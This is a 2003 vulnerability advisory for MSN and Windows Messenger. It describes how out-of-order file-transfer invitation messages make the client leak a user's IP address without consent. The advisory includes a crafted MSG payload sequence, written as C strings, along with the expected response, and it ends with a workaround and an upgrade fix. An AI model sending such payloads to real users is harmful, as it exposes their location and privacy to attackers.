MSN Messenger bug

Release Date:

20/11/03

Discovery date:

Sometime around 2001 or 2000

Versions Affected:

------------------

Msn messenger 1.0 -> msn messenger 6.0.0602

Windows messenger all versions

Not Affected:

------------

Msn Messenger 6.1, trillian, gaim

Description:

-----------

A bug exists in Microsofts msn messenger client.

MSN messenger improperly parses the fields during

file transfer invitation requests. Particularly

the request ip field. This makes it possible to

trick the msn client into giving *away* the users

ip address without him/her accepting the file

transfer first.

The bug happens when a specially crafted MSG requests

are issued to the switchboard server and then

relayed onto the client. Upon receiving each

request from the switchboard the client seems

to incorrectly process the Ip-Address field

without first waiting for userB to accept the

file that is being attempted to be sent. It seems

the reason for this bug is that the msn client

seems to unsafelly depend on client of userB to send the

sequences and fields in those sequences in the

order in which is expected. A malicious user however

could construct a program that sends them in the

incorrect order and requests userB for the ip

address before userB asks userA for its ip address

and userBs client will falselly hand out the ip

address. This circumvents the whole thing and

allows us to invade the users privacy by handing

out such sensitive info.

Below are example of *expected* exchange of data

(this however can be exploited)

Example:

>>> MSG 4 N 277

MIME-Version: 1.0

Content-Type: text/x-msmsgsinvite; charset=UTF-8

Application-Name: File Transfer

Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}

Invitation-Command: INVITE

Invitation-Cookie: 33267

Application-File: readme.txt

Application-FileSize: 60904

<<< MSG example (at) passport (dot) com [email concealed] Tim 179

MIME-Version: 1.0

Content-Type: text/x-msmsgsinvite; charset=UTF-8

Invitation-Command: ACCEPT

Invitation-Cookie: 33267

Launch-Application: FALSE

Request-Data: IP-Address:

>>> MSG 4 N 238

MIME-Version: 1.0

Content-Type: text/x-msmsgsinvite; charset=UTF-8

Invitation-Command: ACCEPT

Invitation-Cookie: 33267

IP-Address: 10.44.102.65

Port: 6891

AuthCookie: 93301

Launch-Application: FALSE

Request-Data: IP-Address:

However to exploit the bug we would send the below

"MSG 1 N 275\r\n"

"MIME-Version: 1.0\r\n"

"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"

"\r\n"

"Application-Name: File Transfer\r\n"

"Application-GUID: {5D3E02AB-6190-11d3-BBBB-00C04F795683}\r\n"

"Invitation-Command: INVITE\r\n"

"Invitation-Cookie: 1\r\n"

"Application-File: wanker.\xdd\xff\xcf\xee\xcd\x0a\x0fjpg\r\n"

"Application-FileSize: 10\r\n"

"MSG 2 N 191\r\n"

"MIME-Version: 1.0\r\n"

"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"

"\r\n"

"Invitation-Command: ACCEPT\r\n"

"Invitation-Cookie: 1\r\n"

"AuthCookie: 10\r\n"

"Launch-Application: FALSE\r\n"

"Request-Data: IP-Address:\r\n"

"MSG 3 N 143\r\n"

"MIME-Version: 1.0\r\n"

"Content-Type: text/x-msmsgsinvite; charset=UTF-8\r\n"

"\r\n"

"Invitation-Command: CANCEL\r\n"

"Invitation-Cookie: 1\r\n"

"Cancel-Code: TIMEOUT\r\n"

We should get a response of something like below

Invitation-Command: ACCEPT

Invitation-Cookie: 1

IP-Address: 81.131.24.31

Port: 6892

PortX: 11181

AuthCookie: 15784036

Launch-Application: FALSE

Request-Data: IP-Address:

Code will be made public sometime in the future to

demonstrate the bug.

Severity:

~~~~~~~~~

This bug has been activelly exploited in the wild.

Due to the transition to the new msnp protocol

however many of the variants that derived due to

sniffing of the original now do not work but it

is only a matter of time when a new version is

made widelly available.

Possible fix/workaround:

~~~~~~~~~~~~~~~~~~~~~~~

The problem may be fixed to some extend by using the

messenger disallow list to block any uninvited users

that are not on your allow list. This way you cannot

be exploited unless you specifically trust the user

and he is on your allow list.

A mechanism must be included in the msn messenger

client implementation that first checks that userB

has accepted the file userA is trying to send

before processing the Request-Data: Ip-Address:

field. It seems pretty sad that MS cannot even

get this right even if its later rather than sooner,

especially when all third party clients seem to have

such a mechanism in place thats worked effectivelly.

I have tested this technique extensivelly with others

such as trillian and these seem to be safe.

Upgrade to msn messenger 6.1

Credit:

Discovery: Brice aka THR

Feedback

Please send suggestions or comments to:

hi_tech_assassin (at) hackermail (dot) com [email concealed]

[ reply ]